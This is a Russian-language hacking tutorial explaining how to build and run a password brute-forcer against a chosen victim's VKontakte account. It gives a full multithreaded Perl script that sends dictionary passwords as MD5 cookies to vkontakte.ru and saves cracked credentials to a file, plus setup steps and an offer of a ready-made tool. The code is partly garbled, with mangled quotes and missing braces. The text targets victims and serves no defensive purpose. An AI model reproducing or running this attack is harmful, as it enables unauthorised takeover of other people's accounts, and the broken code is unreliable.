Как создать брут для контакта


Brute (bruteforce)- это программа которая предназначеня для перебора паролей, в нашем случае она предназначена для взлома контакта, для этого необходимо знать только мило жертвы. Даный брут написан на ActivePerl.

   Для того что бы брут работал необходимо:

1. Создать папку, пускай на рабочем столе…

 Brute (bruteforce)- это программа которая предназначеня для перебора паролей, в нашем случае она предназначена для взлома контакта, для этого необходимо знать только мило жертвы. Даный брут написан на ActivePerl.

   Для того что бы брут работал необходимо:

1. Создать папку, пускай на рабочем столе

2. В этой папке создаем два текстовых документа и називаем их:
                
               — passl.txt — сюда нужно вставлять словари паролей (каждый пароль  с      новой строки)
                
               — 
good.txt — тут будут сохраняца взломаные пароли

3. И наконец создаем текстовый документ, в который капируе:

###################################### 
# C!klodoL 
# vkontakte.ru bruteforce with multi-threads 
###################################### 

$dic = \’passl.txt\’; #словарь паролей 
$id = 111111; #id цели 
$mail = \’mail%40mail.com\’; #мыло, вместо @ вписать %40 
$threads = 4; #количество потоков (чем больше потоков тем больше и скорость поиска ) 
######################################
open (pass, \»<$dic\»);
Next: 
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\\&Brut, $_);} 
for(@trl) { $_->join; }
sub Brut 
{
while (@pass){
$pass = shift @pass;
$md5 = MD5->hexhash($pass); 
$sock = IO::Socket::INET->new(Proto=>\’tcp\’,PeerAddr=>\’vkontakte.ru\’,PeerPort=>80); 
print $sock \»HEAD http://vkontakte.ru/ HTTP/1.0\\r\\n\». 
\»Host: vkontakte.ru\\r\\n\». 
\»Accept: */*\\r\\n\». 
\»Content-Type: application/x-www-form-urlencoded\\r\\n\». 
\»User-Agent: Mozillo\\r\\n\». 
\»Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\\r\\n\». 
\»Connection: close\\r\\n\\r\\n\»; 
$answ = <$sock>; 
close $sock; 
print \»$pass $answ\»; 
if ($answ =~ /302/){ 
open (good, \’>>good.txt\’); 
print good \»$id:$pass:$md5\\n\»; 
print \»$id:$pass:$md5\\n\»; 
close good; 
exit;} 
}
}
goto Next;
sub pass 

my (@mas); 
while (<pass>){ 
push @mas, $_; 
last if (@mas == 400); 

chomp @mas; 
return @mas; 
}
и сохраняем: Файл- Сохранить как — Имя файла- brute.pl

Брут готов но файл который мы создали не определяе, для этого нужно Установить платформу Perl: 

 
После того как Перл усьановилса на ваш капм ярличек неопозноного файла будет таким:
\"\"
Запускаем даный ярлик, если вы все сделали правильно то откроеца досовское окно и начнется перебор паролей, вот такое окно:
\"\"
 
Ну а если у вас вообще ничего не получается то можете скачать готовый брут с небольшой базой паролей:

Добавить комментарий